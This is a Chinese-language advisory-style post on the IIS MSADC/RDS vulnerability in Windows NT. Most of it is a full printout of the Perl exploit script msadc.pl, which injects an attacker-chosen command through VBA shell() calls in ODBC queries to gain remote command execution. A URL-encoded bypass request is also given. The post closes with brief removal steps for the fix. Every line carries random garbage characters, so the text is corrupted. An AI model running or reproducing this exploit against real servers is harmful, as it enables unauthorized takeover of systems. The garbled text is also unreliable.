IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
S:{hgi,T* ch,<4E/c[R 涉及程序:
UzFd@W u# Microsoft NT server
AR'q2/cw e#IED!U 描述:
esmQ\QQ^1 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
?m#X";^V uy{mSx?td 详细:
+#O?a`f 如果你没有时间读详细内容的话,就删除:
MdT'xYomzQ c:\Program Files\Common Files\System\Msadc\msadcs.dll
tDFN
*#( 有关的安全问题就没有了。
2Xk(3J!!'a ?,NZ/n 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
6d"dJV.\ [>&Nhn0iY 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
'#[U7(lIQ 关于利用ODBC远程漏洞的描述,请参看:
%b'ic ohusL9D http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 9ET2uDZpL <QTu"i 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
,6PV"E)_ http://www.microsoft.com/security/bulletins/MS99-025faq.asp ?sDm~]Z yd5r]6ej 这里不再论述。
L<]j&
D:'|poH 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
AS`0.RC- Hk8:7"4Q /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
NZYtA7 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
<I'kJ{" MGX %U6 9a2Ga #将下面这段保存为txt文件,然后: "perl -x 文件名"
N8}R<3/ -cNh5~p= #!perl
b")&"o)G2W #
sLzcTGa2:z # MSADC/RDS 'usage' (aka exploit) script
~|@ aV:k #
gt6*x=RCrQ # by rain.forest.puppy
|ap{+ xh #
)ruC_) # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
r|cl6s!P # beta test and find errors!
EaFd1 pmB}a7 use Socket; use Getopt::Std;
'(Uyju= getopts("e:vd:h:XR", \%args);
c`mJrS: g"(
vl-Uw print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Y'S xehx ?mS798=f if (!defined $args{h} && !defined $args{R}) {
C*ZgjFvB print qq~
Xj"/6|X Usage: msadc.pl -h <host> { -d <delay> -X -v }
LslQZ]3MY -h <host> = host you want to scan (ip or domain)
`R0>;TdT -d <seconds> = delay between calls, default 1 second
L 7_Mg{ -X = dump Index Server path table, if available
$4'I3{$ -v = verbose
5.F.mUO -e = external dictionary file for step 5
@no]*?Gpa a kgXI^K Or a -R will resume a command session
(qlIQC nCh9IF[BL/ ~; exit;}
p=\DZU~1 A2qus$ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
8,=Ti7_ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
4z Af|Je if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
uNl<=1 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
:Y(Yk5 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
NWNH)O@ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
`da6}Vqj: p9XHYf72 if (!defined $args{R}){ $ret = &has_msadc;
wwnc die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
lZV]Z3=p'0 2:MB u5** print "Please type the NT commandline you want to run (cmd /c assumed):\n"
3X*;.'#Z . "cmd /c ";
f(
hK>H $in=<STDIN>; chomp $in;
jii2gtu'U $command="cmd /c " . $in ;
X_+`7yCi"x AvRZf-Geg if (defined $args{R}) {&load; exit;}
Crh5^? BqP:] print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Hx2UDHF &try_btcustmr;
KMhoG.$Ra aoz+g,1
// print "\nStep 2: Trying to make our own DSN...";
IJx dbuKg &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
*pw:oTO -aLBj?N c[ print "\nStep 3: Trying known DSNs...";
HI#}M|4n &known_dsn;
ch1EF/" ./jkY7
k print "\nStep 4: Trying known .mdbs...";
+cheLc &known_mdb;
~xGWL%og tz
j]c if (defined $args{e}){
8|{:N>7 print "\nStep 5: Trying dictionary of DSN names...";
X}0NeG^'O &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
@jN!j*Y H yopEqO print "Sorry Charley...maybe next time?\n";
FoWE< exit;
zN#$eyt 7on$}=% ##############################################################################
]o$Kh$~5 5dT-{c%w4 sub sendraw { # ripped and modded from whisker
Dd<gYPC sleep($delay); # it's a DoS on the server! At least on mine...
idvEE6I@ my ($pstr)=@_;
UB&ofO socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Q/\
<r G4 die("Socket problems\n");
IpGq_TU if(connect(S,pack "SnA4x8",2,80,$target)){
BRG1/f
d select(S); $|=1;
%Gl, V5z& print $pstr; my @in=<S>;
;"!dq) select(STDOUT); close(S);
44f8Hc1g return @in;
n0 _:!]k^ } else { die("Can't connect...\n"); }}
6=Kl[U0Y RZjTUMAz4 ##############################################################################
D(Zux8l _ D1bR7 sub make_header { # make the HTTP request
($7>\"+Tl my $msadc=<<EOT
PkF
B. POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
QB#f'X User-Agent: ACTIVEDATA
}h5pM`|1 Host: $ip
.^I,C!O# Content-Length: $clen
ETV|;>v Connection: Keep-Alive
)K -@{v^| /XEcA5C< ADCClientVersion:01.06
eg~$WB;1 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
vlw2dY@^ /8q7pwV --!ADM!ROX!YOUR!WORLD!
6|X Content-Type: application/x-varg
DGO_fR5L Content-Length: $reqlen
vUS$DUF gdSv)( EOT
8*=N\'m], ; $msadc=~s/\n/\r\n/g;
eqD%Qdx return $msadc;}
bd_U%0)pi1 :(} {uG ##############################################################################
}di)4=U9 PQWo<Uet sub make_req { # make the RDS request
u Y V= my ($switch, $p1, $p2)=@_;
j,/OzVm9 my $req=""; my $t1, $t2, $query, $dsn;
w:r0> SLSJn))@! if ($switch==1){ # this is the btcustmr.mdb query
L q'*B9 $query="Select * from Customers where City=" . make_shell();
x@m"[u $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
;Y?7|G97*S $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
#?}k0Y yf*MG&} elsif ($switch==2){ # this is general make table query
~ d/Doi $query="create table AZZ (B int, C varchar(10))";
v#IW;Rj8 $dsn="$p1";}
%g5weiFM ([_ls8 elsif ($switch==3){ # this is general exploit table query
@,CCwiF'q $query="select * from AZZ where C=" . make_shell();
=4\|'V15 $dsn="$p1";}
K*'(;1AiW "%D+_Yb'X elsif ($switch==4){ # attempt to hork file info from index server
c;Hf +n $query="select path from scope()";
mc?5,oz;pz $dsn="Provider=MSIDXS;";}
F&lWO!4 q!7z4Cn elsif ($switch==5){ # bad query
ORs<<H.d $query="select";
LV0g *ng $dsn="$p1";}
ZWG$MFEjl G<4H~1?P $t1= make_unicode($query);
r|fJ~0z $t2= make_unicode($dsn);
A{: a kK $req = "\x02\x00\x03\x00";
Z=z'j8z3 $req.= "\x08\x00" . pack ("S1", length($t1));
|08 tQ $req.= "\x00\x00" . $t1 ;
;s3"j~5m) $req.= "\x08\x00" . pack ("S1", length($t2));
<#7}'@
$req.= "\x00\x00" . $t2 ;
~YlbS- $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
{b<p~3%+Hc return $req;}
9TO 2Q|Vg*x\U ##############################################################################
6>%)qc$i g4=}]. sub make_shell { # this makes the shell() statement
0jrcXN~ return "'|shell(\"$command\")|'";}
r444s8Y J*.Nf)i ##############################################################################
kej@,8 .P# c/SQp sub make_unicode { # quick little function to convert to unicode
l4O}># my ($in)=@_; my $out;
I= x for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
pHsp]a return $out;}
}z,4IHNn B:n9*<v( ##############################################################################
Wgq*| teW "}\z7^.W> sub rdo_success { # checks for RDO return success (this is kludge)
`;(/Wh my (@in) = @_; my $base=content_start(@in);
s_.q/D@vu if($in[$base]=~/multipart\/mixed/){
M98dQ%4I return 1 if( $in[$base+10]=~/^\x09\x00/ );}
!
D'U:) return 0;}
pb{'t2kk |LcN_,}6 ##############################################################################
cwz
% LKh KB&t31aq sub make_dsn { # this makes a DSN for us
G( nT.\ my @drives=("c","d","e","f");
LdU, 32 print "\nMaking DSN: ";
>
9JzYI^ foreach $drive (@drives) {
_Eq:Qbw# print "$drive: ";
BpDf4)| my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
yh]#V"W3 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
.',ikez . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
Fng":28o $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
4L^KR_h/ return 0 if $2 eq "404"; # not found/doesn't exist
bV@53_)N2 if($2 eq "200") {
s+yBxgQ/ foreach $line (@results) {
A0oC*/ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
3iV/7~
O } return 0;}
W7l/{a
@ {tu* ="d= ##############################################################################
%ia/i : s8WA@)L sub verify_exists {
z/F(z*'v my ($page)=@_;
MGX,JW>L my @results=sendraw("GET $page HTTP/1.0\n\n");
(+@3Dr5o0} return $results[0];}
UrH^T;# *B)>5r ##############################################################################
Z&s+*&TM >>(2ZJ sub try_btcustmr {
^KF my @drives=("c","d","e","f");
$*xnq%A my @dirs=("winnt","winnt35","winnt351","win","windows");
w{F8]N>0< cGsP0LkHC foreach $dir (@dirs) {
{h&*H[Z z print "$dir -> "; # fun status so you can see progress
yIXM}i: foreach $drive (@drives) {
^(N+s? print "$drive: "; # ditto
.2.$Rq $reqlen=length( make_req(1,$drive,$dir) ) - 28;
feIAgd}, $reqlenlen=length( "$reqlen" );
wx}\0(]Gl $clen= 206 + $reqlenlen + $reqlen;
=(Mv@eA" ~)tMR9=wX my @results=sendraw(make_header() . make_req(1,$drive,$dir));
^-~.L: }q if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
.Ky<9h.K else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
fT[6Cw5w` H^K(1
##############################################################################
'RQZU*8 viD+~j18 sub odbc_error {
, *e^,|# my (@in)=@_; my $base;
67 7p9{: my $base = content_start(@in);
0w8Id
. , if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
<rRmbFH# $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
wjq f u / $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
5>KAVtYvc $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
-gIuL return $in[$base+4].$in[$base+5].$in[$base+6];}
Toy~\ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
:n0(g B print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
/A_</GYs $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
7#MBT-ih ]pB0b JAt ##############################################################################
P6i4Dr KbMgatI/ sub verbose {
PLFM[t/ my ($in)=@_;
j:)
(` return if !$verbose;
V,|l&- print STDOUT "\n$in\n";}
m ~fqZK y<BiR@%,7 ##############################################################################
A{x&5yX8 q,aWF5m@ sub save {
iBN,YPo~ my ($p1, $p2, $p3, $p4)=@_;
C0i: *1 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
?Sn$AS I
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
lH:TE=|4 close OUT;}
Z:O24{ro5 7fI[yCh ##############################################################################
%lv2 ;- 6}C4 SZ sub load {
cp0>Euco= my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
~M(K{6R open(IN,"<rds.save") || die("Couldn't open rds.save\n");
[xO^\oQa=c @p=<IN>; close(IN);
`q7I;w+g $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
9@QP?=\Y $target= inet_aton($ip) || die("inet_aton problems");
1_7x'5GdA print "Resuming to $ip ...";
L9fhe,en $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
H!Uy4L~> if($p[1]==1) {
2?QIK3"v $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
#Sb1oLC $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
*3S,XMS{O my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
(G#)[0<fX if (rdo_success(@results)){print "Success!\n";}
lk6mu else { print "failed\n"; verbose(odbc_error(@results));}}
<~"q z*_ elsif ($p[1]==3){
T-fW[][&$ if(run_query("$p[3]")){
<%>Q$b5 print "Success!\n";} else { print "failed\n"; }}
9m!4 U2N,s elsif ($p[1]==4){
Y&Pi`E9= if(run_query($drvst . "$p[3]")){
``w,CP ? print "Success!\n"; } else { print "failed\n"; }}
_m3PAD4 exit;}
s,K @t_J (mt,:hX ##############################################################################
[g=yuVXNZZ fU>"d>6!S sub create_table {
$o/?R]h my ($in)=@_;
Z=825[p $reqlen=length( make_req(2,$in,"") ) - 28;
VG2TiR1 $reqlenlen=length( "$reqlen" );
D?@330'P9C $clen= 206 + $reqlenlen + $reqlen;
ZS >}NN my @results=sendraw(make_header() . make_req(2,$in,""));
m[ay return 1 if rdo_success(@results);
/Wg$.<!5} my $temp= odbc_error(@results); verbose($temp);
g@MTKqs return 1 if $temp=~/Table 'AZZ' already exists/;
G
A2S return 0;}
egx(N
<
e{To&gy~ ##############################################################################
E^A9u
|x jl3RE|M\< sub known_dsn {
;OPz T9 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
"* %=k%' my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
cQ*:U@ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
oIoJBn "banner", "banners", "ads", "ADCDemo", "ADCTest");
ZzzQXfA# )3h=V^rm foreach $dSn (@dsns) {
Q&`$:h.~ print ".";
qIA!m
.GC next if (!is_access("DSN=$dSn"));
f
IQ$a> if(create_table("DSN=$dSn")){
p8Lb*7W print "$dSn successful\n";
)"t=sFxaB if(run_query("DSN=$dSn")){
bC?t4-W print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
wC@4`h\U print "Something's borked. Use verbose next time\n";}}} print "\n";}
:ozHuHJ#
A-ir ##############################################################################
> ^n' 2NIK0%6 sub is_access {
;oob
TW{ my ($in)=@_;
saU|.\l $reqlen=length( make_req(5,$in,"") ) - 28;
<MT_zET $reqlenlen=length( "$reqlen" );
~u,g5 $clen= 206 + $reqlenlen + $reqlen;
g 4Vt"2| my @results=sendraw(make_header() . make_req(5,$in,""));
1swh7 my $temp= odbc_error(@results);
d/Zt}{ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
lNqXx{!k return 0;}
3_^w/-7`B 5T8X2fS: ##############################################################################
5_G7XBvD/w kW6}57iV sub run_query {
^a<=@0| my ($in)=@_;
WAqR70{KM $reqlen=length( make_req(3,$in,"") ) - 28;
isWB)$q $reqlenlen=length( "$reqlen" );
RL.%o?<&? $clen= 206 + $reqlenlen + $reqlen;
L
G{N my @results=sendraw(make_header() . make_req(3,$in,""));
7lR(6ka&/ return 1 if rdo_success(@results);
N5%~~JRO my $temp= odbc_error(@results); verbose($temp);
EJdq"6S return 0;}
@8n0GCv Tk.MtIs)V} ##############################################################################
Q}\,7l
?o9l{4~g sub known_mdb {
_f^q!tP&d my @drives=("c","d","e","f","g");
cl:*Q{(Cjk my @dirs=("winnt","winnt35","winnt351","win","windows");
AGK+~EjL@ my $dir, $drive, $mdb;
g@B9i= my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
#\%GrtM t~sW]<qjp # this is sparse, because I don't know of many
MT%ky my @sysmdbs=( "\\catroot\\icatalog.mdb",
s![=F}ck "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
<`-"K+e!J "\\system32\\certmdb.mdb",
CEqfsKrsxE "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
1hi^ \&ERSk2 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
GlQ=M )E "\\cfusion\\cfapps\\forums\\forums_.mdb",
(t<i?>p "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
g>OGh o "\\cfusion\\cfapps\\security\\realm_.mdb",
k?|VFh1 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
ScZ$&n "\\cfusion\\database\\cfexamples.mdb",
N;r,B "\\cfusion\\database\\cfsnippets.mdb",
rd%3eR?V "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
d 'x;]#S "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
8V=I[UF.1? "\\cfusion\\brighttiger\\database\\cleam.mdb",
E<-}Jc1 "\\cfusion\\database\\smpolicy.mdb",
4zJ9bF4 "\\cfusion\\database\cypress.mdb",
"/ @
;6 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
KC q3S
"\\website\\cgi-win\\dbsample.mdb",
(873:"( "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
IK~ur\3 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
C[gSiL
); #these are just
YJrK oK} foreach $drive (@drives) {
8'`&f& foreach $dir (@dirs){
^]E| >~\ foreach $mdb (@sysmdbs) {
/*rMveT print ".";
oDKgW?x if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
#z~D1Zl print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
.(1=iL_3e if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
}Z0)FU+ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
g6
7* Bs } else { print "Something's borked. Use verbose next time\n"; }}}}}
FY#`]124* }@1LFZx foreach $drive (@drives) {
^Ud`2 OW;2 foreach $mdb (@mdbs) {
tet print ".";
"TN}=^A\F if(create_table($drv . $drive . $dir . $mdb)){
8b6:n1<fn print "\n" . $drive . $dir . $mdb . " successful\n";
F^`sIrZvs if(run_query($drv . $drive . $dir . $mdb)){
P5] cEZ n print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
*$ ^ME } else { print "Something's borked. Use verbose next time\n"; }}}}
nU`vj`K
}
U?xl%qF`) G>#L ##############################################################################
kE6\G}zj g\ <Lb sub hork_idx {
^9cqT2:t print "\nAttempting to dump Index Server tables...\n";
Z( xn- print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
c{FvMV2em $reqlen=length( make_req(4,"","") ) - 28;
`DWzp5Ax $reqlenlen=length( "$reqlen" );
P d*}0a~ $clen= 206 + $reqlenlen + $reqlen;
B<:i[~`7t my @results=sendraw2(make_header() . make_req(4,"",""));
b!7"drge: if (rdo_success(@results)){
CZwZ#WV6 my $max=@results; my $c; my %d;
I&1Mh4yu for($c=19; $c<$max; $c++){
i}+dctg/ $results[$c]=~s/\x00//g;
>OiC].1
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
?;^_%XSQ* $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
Hej0l^ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
4:6@9.VVT $d{"$1$2"}="";}
{/R4Q1 foreach $c (keys %d){ print "$c\n"; }
NbkWy } else {print "Index server doesn't seem to be installed.\n"; }}
|$bZO`^ K;[V`)d' ##############################################################################
E.6^~'/ {
"$2 sub dsn_dict {
Kpj0IfC,10 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
d*q_DV while(<IN>){
li/O&@g` $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
D}b+#G(m[ next if (!is_access("DSN=$dSn"));
eN}FBX#' if(create_table("DSN=$dSn")){
zZ;tSKL print "$dSn successful\n";
7(gQ6?KsZ if(run_query("DSN=$dSn")){
i 3(bg, print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
d&R/f Im print "Something's borked. Use verbose next time\n";}}}
I&>R]DV print "\n"; close(IN);}
y1k""75 dzbzZ@y ##############################################################################
CHBCi) '6h xwK<f6H!y sub sendraw2 { # ripped and modded from whisker
Y*J`Wf(w sleep($delay); # it's a DoS on the server! At least on mine...
d/R:-{J)c my ($pstr)=@_;
9RR1$( f socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
~^Vt)/}Q die("Socket problems\n");
HnOp*FP if(connect(S,pack "SnA4x8",2,80,$target)){
kw=+"U print "Connected. Getting data";
A:NsDEt open(OUT,">raw.out"); my @in;
7cvbYP\<lv select(S); $|=1; print $pstr;
sVh!5fby& while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
kFuaLEJi close(OUT); select(STDOUT); close(S); return @in;
C(W?)6? } else { die("Can't connect...\n"); }}
IybMO5Mwn n"_EDb ##############################################################################
wXNFL9F8 O- r"G sub content_start { # this will take in the server headers
'%K,A-7W my (@in)=@_; my $c;
<([o4% for ($c=1;$c<500;$c++) {
/!7m@P|&D if($in[$c] =~/^\x0d\x0a/){
B;7L: if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
299; N else { return $c+1; }}}
V3I&0P k return -1;} # it should never get here actually
O a-ZeCq 9"MC< ##############################################################################
E;-R<X5n ^dqyX( sub funky {
"d.qmM my (@in)=@_; my $error=odbc_error(@in);
! daXF&q if($error=~/ADO could not find the specified provider/){
NG S/lKz print "\nServer returned an ADO miscofiguration message\nAborting.\n";
%) q5hB exit;}
CE*@CkC0z if($error=~/A Handler is required/){
M^g"U` print "\nServer has custom handler filters (they most likely are patched)\n";
%&z9^}Vd[ exit;}
,ci
tzh if($error=~/specified Handler has denied Access/){
JrCm >0g print "\nServer has custom handler filters (they most likely are patched)\n";
<=jE,6_| exit;}}
fkk\Q>J9!= $!KV]] ##############################################################################
T4\,b trgj]|?M sub has_msadc {
Z8nNZ<k my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
LD^V="d my $base=content_start(@results);
% YU(,83(+ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
EJZl'CR return 0;}
e ~*qi&,4 N,Y<mX ########################
*K m%Vl WERK JA *,pG4kh! 解决方案:
0XXu_f@]9 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
Hyq|%\A 2、移除web 目录: /msadc